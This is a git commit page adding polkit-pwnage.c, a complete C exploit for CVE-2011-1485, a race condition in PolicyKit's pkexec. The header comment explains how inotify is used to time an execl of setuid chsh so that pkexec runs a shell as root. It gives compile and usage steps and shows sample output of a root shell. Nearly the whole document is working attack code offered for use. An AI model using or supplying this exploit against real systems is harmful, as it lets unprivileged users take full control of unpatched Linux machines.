diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-09-03 04:20:14 -0400 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-09-03 04:20:14 -0400 |
commit | 6fb7ac300786e1c85787e5dde55da0caf1bb94a8 (patch) | |
tree | 85e99c7d115982d090b50b6e1f1e9314445746b7 | |
parent | Psuedonym only. (diff) | |
download | CVE-2011-1485-6fb7ac300786e1c85787e5dde55da0caf1bb94a8.tar.xz CVE-2011-1485-6fb7ac300786e1c85787e5dde55da0caf1bb94a8.zip |
oopsie.
-rw-r--r-- | polkit-pwnage.c | 98 |
1 files changed, 98 insertions, 0 deletions
diff --git a/polkit-pwnage.c b/polkit-pwnage.c new file mode 100644 index 0000000..9d11ef9 --- /dev/null +++ b/polkit-pwnage.c @@ -0,0 +1,98 @@ +/* polkit-pwnage.c + * + * + * ============================== + * = PolicyKit Pwnage = + * = by zx2c4 = + * = Sept 2, 2011 = + * ============================== + * + * + * Howdy folks, + * + * This exploits CVE-2011-1485, a race condition in PolicyKit. + * + * davidz25 explains: + * + * --begin-- + * Briefly, the problem is that the UID for the parent process of pkexec(1) is + * read from /proc by stat(2)'ing /proc/PID. The problem with this is that + * this returns the effective uid of the process which can easily be set to 0 + * by invoking a setuid-root binary such as /usr/bin/chsh in the parent + * process of pkexec(1). Instead we are really interested in the real-user-id. + * While there's a check in pkexec.c to avoid this problem (by comparing it to + * what we expect the uid to be - namely that of the pkexec.c process itself which + * is the uid of the parent process at pkexec-spawn-time), there is still a short + * window where an attacker can fool pkexec/polkitd into thinking that the parent + * process has uid 0 and is therefore authorized. It's pretty hard to hit this + * window - I actually don't know if it can be made to work in practice. + * --end-- + * + * Well, here is, in fact, how it's made to work in practice. There is as he said an + * attempted mitigation, and the way to trigger that mitigation path is something + * like this: + * + * $ sudo -u `whoami` pkexec sh + * User of caller (0) does not match our uid (1000) + * + * Not what we want. So the trick is to execl to a suid at just the precise moment + * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed, + * and execl to the suid binary as our very next instruction. + * + * ** Usage ** + * $ pkexec --version + * pkexec version 0.101 + * $ gcc polkit-pwnage.c -o pwnit + * $ ./pwnit + * [+] Configuring inotify for proper pid. + * [+] Launching pkexec. + * sh-4.2# whoami + * root + * sh-4.2# id + * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) + * sh-4.2# + * + * + * + * greets to djrbliss and davidz25. + * + * - zx2c4 + * 2-sept-2011 + * + */ + + +#include <stdio.h> +#include <stdlib.h> +#include <errno.h> +#include <unistd.h> +#include <sys/types.h> +#include <sys/inotify.h> + +int main(int argc, char **argv) +{ + printf("=============================\n"); + printf("= PolicyKit Pwnage =\n"); + printf("= by zx2c4 =\n"); + printf("= Sept 2, 2011 =\n"); + printf("=============================\n\n"); + + if (fork()) { + int fd; + char pid_path[1024]; + sprintf(pid_path, "/proc/%i", getpid()); + printf("[+] Configuring inotify for proper pid.\n"); + close(0); close(1); close(2); + fd = inotify_init(); + if (fd < 0) + perror("[-] inotify_init"); + inotify_add_watch(fd, pid_path, IN_ACCESS); + read(fd, NULL, 0); + execl("/usr/bin/chsh", "chsh", NULL); + } else { + sleep(1); + printf("[+] Launching pkexec.\n"); + execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL); + } + return 0; +} |